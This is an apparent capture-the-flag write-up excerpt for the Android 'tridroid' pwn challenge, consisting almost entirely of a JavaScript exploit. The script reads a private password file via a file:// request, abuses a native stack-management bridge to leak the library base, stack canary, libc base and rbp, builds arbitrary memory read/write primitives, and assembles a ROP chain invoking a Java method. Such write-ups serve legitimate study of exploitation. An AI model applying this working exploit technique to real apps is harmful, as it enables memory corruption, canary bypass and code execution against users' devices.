Tags: javascript ropchain pwn native-library android 

Rating: 5.0

```js
<span>
alert("PWN!");

function push(hex){
return bridge.manageStack(password, 'push', hex);
}
function pop(){
return bridge.manageStack(password, 'pop', '');
}
function modify(hex){
return bridge.manageStack(password, 'modify', hex);
}
function top(){
return bridge.manageStack(password, 'top', '');
}

function read(address){
payload = '';
for(var i = 0; i != 16; i++){ payload += 'aa'; }
push(payload);
payload += address.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
modify(payload);
pop();
return top();
}

function write(address, data){
payload = '';
for(var i = 0; i != 16; i++){ payload += 'bb'; }
push(payload);
payload += address.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
modify(payload);
pop();
modify(data);
}

function reqListener () {
password = this.responseText;

push('41414141');
push('42424242');
push('43434343');

// leak library base address
payload = '';
for(var i = 0; i != 8; i++){ payload += '11'; }
modify( payload );
LIBRARY_leak = parseInt(top().substring(16).match(/../g).reverse().join(''), 16) - 0x16FF;

// leak stack canary value
for(var i = 0; i != 32; i++){ payload += '22'; }
modify( payload );
leak = top().substring(80);
CANARY_leak = leak.substring(0, 16);

// leak libc base address
leak = read( LIBRARY_leak + 0x2F70 );
LIBC_leak = parseInt(leak.match(/../g).reverse().join(''), 16) - 0x43410;

// leak rbp value from the stack
push('41414141');
push('42424242');
push('43434343');
payload = '';
for(var i = 0; i != 40; i++){ payload += 'cc'; }
payload += CANARY_leak;
modify(payload);
RBP_leak = parseInt(top().substring(96).padEnd(16, '0').match(/../g).reverse().join(''), 16);

alert("Library= 0x" + LIBRARY_leak.toString(16));
alert("Canary= 0x" + CANARY_leak.toString(16));
alert("Libc= 0x" + LIBC_leak.toString(16));
alert("rbp= 0x" + RBP_leak.toString(16));

// write "showFlag" in libc
write(LIBC_leak + 0xD9030, '73686F77466C616700');

// write "()V" in libc
write(LIBC_leak + 0xD9010, '28295600');

// ropchain
pop_rdi = 0x0000000000042c92 + LIBC_leak;
rop_env = parseInt(read(RBP_leak - 0x60).match(/../g).reverse().join(''), 16);
pop_rsi = 0x0000000000042d38 + LIBC_leak;
rop_thisObj = parseInt(read(RBP_leak - 0x68).match(/../g).reverse().join(''), 16);
pop_rdx = 0x0000000000046175 + LIBC_leak;
pop_rcx = 0x0000000000042e58 + LIBC_leak;
rop_ret = 0x0000000000042af0 + LIBC_leak;
invokeJavaMethod = LIBRARY_leak + 0xFA0;

payload3 = '';
for(var i = 0; i != 40; i++){ payload3 += '44'; }
payload3 += CANARY_leak;
payload3 += '4242424242424242'; //rbp

payload3 += pop_rdi.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
payload3 += rop_env.toString(16).match(/../g).reverse().join('').padEnd(16, '0');

payload3 += pop_rsi.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
payload3 += rop_thisObj.toString(16).match(/../g).reverse().join('').padEnd(16, '0');

payload3 += pop_rdx.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
payload3 += (LIBC_leak + 0xD9030).toString(16).match(/../g).reverse().join('').padEnd(16, '0');

payload3 += pop_rcx.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
payload3 += (LIBC_leak + 0xD9010).toString(16).match(/../g).reverse().join('').padEnd(16, '0');

payload3 += rop_ret.toString(16).match(/../g).reverse().join('').padEnd(16, '0');

payload3 += invokeJavaMethod.toString(16).match(/../g).reverse().join('').padEnd(16, '0');

// trigger ropchain and get flag!
alert("ROPCHAIN!")
modify(payload3);

}

var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///data/data/com.google.ctf.pwn.tridroid/files/password.txt");
oReq.send();

</span>


```

Original writeup (https://fineas.github.io/FeDEX/post/tridroid.html).